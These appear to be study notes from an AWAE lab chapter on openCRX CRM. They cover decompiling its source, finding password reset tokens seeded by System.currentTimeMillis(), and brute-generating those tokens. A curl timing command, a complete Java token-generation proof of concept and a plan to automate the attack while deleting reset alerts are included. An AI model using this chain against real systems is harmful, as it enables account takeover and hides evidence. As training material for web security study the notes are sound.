- Exploit deterministic password reset tokens to gain access to the application and achieve RCE
- Based off “openCRX Authentication Bypass and Remote Code Execution” –> Chapter 10 AWAE
- OpenCRX: open source customer relationship management (CRM)
Apache TomEE: https://tomee.apache.org/ (Enterprise Edition)
Observe Java Files
- Java Archive (JAR) files are typically used for stand-alone applications or libraries.
- Web Application Archive (WAR) files are used to collect multiple JARs and static content, such as HTML, into a single archive.
- Enterprise Application Archive (EAR) files can contain multiple JARs and WARs to consolidate multiple web applications into a single file.
Handling Source Code
- SSH Copy to Local Machine:
scp student@opencrx:~/crx/apache-tomee-plus-7.0.5/apps/opencrx-core-CRX.ear .(Contains all WAR and JAR files) - Unzip:
unzip -q opencrx-core-CRX.ear -d opencrx - Open JD-GUI on Kali for analysis
Examining Java Application
Opening Steps
- First inspect
*.core.*files of the application web.xml–> Deployment Descriptor mapping URL to servlets- Servlets in Java handle incoming HTTP requests
- Java Server Pages (JSP) are a form of servlet used for dynamic pages. JSPs can mix Java code with traditional HTML.
Look for interesting functions in JSP files, such as:
userHome.requestPasswordReset();- Locate function, if not clickable, must be elsewhere
- EAR file contains
/META-INF/application.xmlwith external library location<library-directory>APP-INF/lib</library-directory>
Look through JAR class files
- Locate JAR file in the
includessection of the JSP file:org.opencrx.kernel.generic.*–>opencrx-kernel.jar- If we find an empty method, it is an Interface that groups methods. Interfaces are implemented elsewhere.
- Find another class that implements this:
???.requestPasswordReset()–> Search method in JD-GUI public void requestPasswordReset(UserHome userHome)- Continue looking for interesting functions:
String resetToken = Utils.getRandomBase62(40);
Java Interactive Testing
- Java IDE:
sudo apt install openjdk-11-jdk-headless–> javac and jshell java -version- Instances of java.util.Random are not cryptographically secure.
jshell
import java.util.Random;
Random r1 = new Random(42); --> Same numerical seed
Random r2 = new Random(42); --> Same numerical seed
int x, y;
for(int i=0; i<10; i++) { x = r1.nextInt(); y = r2.nextInt(); if(x == y){ System.out.println("They match! " + x);}}
import java.security.SecureRandom;
byte[] s = new byte[] { (byte) 0x2a } --> Byte Seed
SecureRandom r1 = new SecureRandom(s);
SecureRandom r2 = new SecureRandom(s);
if(r1.nextInt() == r2.nextInt()) { System.out.println("They match!"); } else { System.out.println("No match."); }
Random random = new Random(System.currentTimeMillis());–> Returns current time in milliseconds, vulnerable-
Navigate to location of application (https://www.opencrx.org/opencrx/2.2/QuickStart/openCRX_quickstart.html#3.3.1.First%20Login%20as%20%E2%80%9Cadmin-Root%E2%80%9D outline) - Navigate to the actual application and determine that account enumeration is possible.
Exploitation of Date/Time Seed
- Seed is
System.currentTimeMillis()which can be controlled (Ex: 1653450962696) - Measure current time + send reset request + measure time again to determine realm of possibility
date +%s%3N && curl -s -i -X 'POST' --data-binary 'id=guest' 'http://opencrx:8080/opencrx-core-CRX/RequestPasswordReset.jsp' && date +%s%3N- %s: Milliseconds
- %3N: +3 Nanosecond values
- https://www.epochconverter.com/
- Create Java POC (OpenCRXToken.java, class must match name):
import java.util.Random;
public class OpenCRXToken {
public static void main(String args[]) {
int length = 40;
long start = Long.parseLong("1582038122371");
long stop = Long.parseLong("1582038122769");
String token = "";
for (long l = start; l < stop; l++) {
token = getRandomBase62(length, l);
System.out.println(token);
}
}
public static String getRandomBase62(int length, long seed) {
String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
Random random = new Random(seed);
String s = "";
for (int i = 0; i < length; i++)
s = s + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".charAt(random.nextInt(62));
return s;
}
}
- Compile:
javac OpenCRXToken.java - Execute:
java OpenCRXToken > tokens.txt
Automation
- Need to know
ProviderNameandSegmentName - Investigate source code of the reset password page:
guest@ProviderName/SegmentName - View
WizardInvoker.jspfor definitions –> ProviderName: CRX and SegmentName: Standard - View
passwordResetConfirm.jsp–> After sending reset we need to request the confirm page - Created proof of concept –> View Scripts in Github
- Automate the entire password reset attack chain, including the deletion of any password reset alerts that are generated.
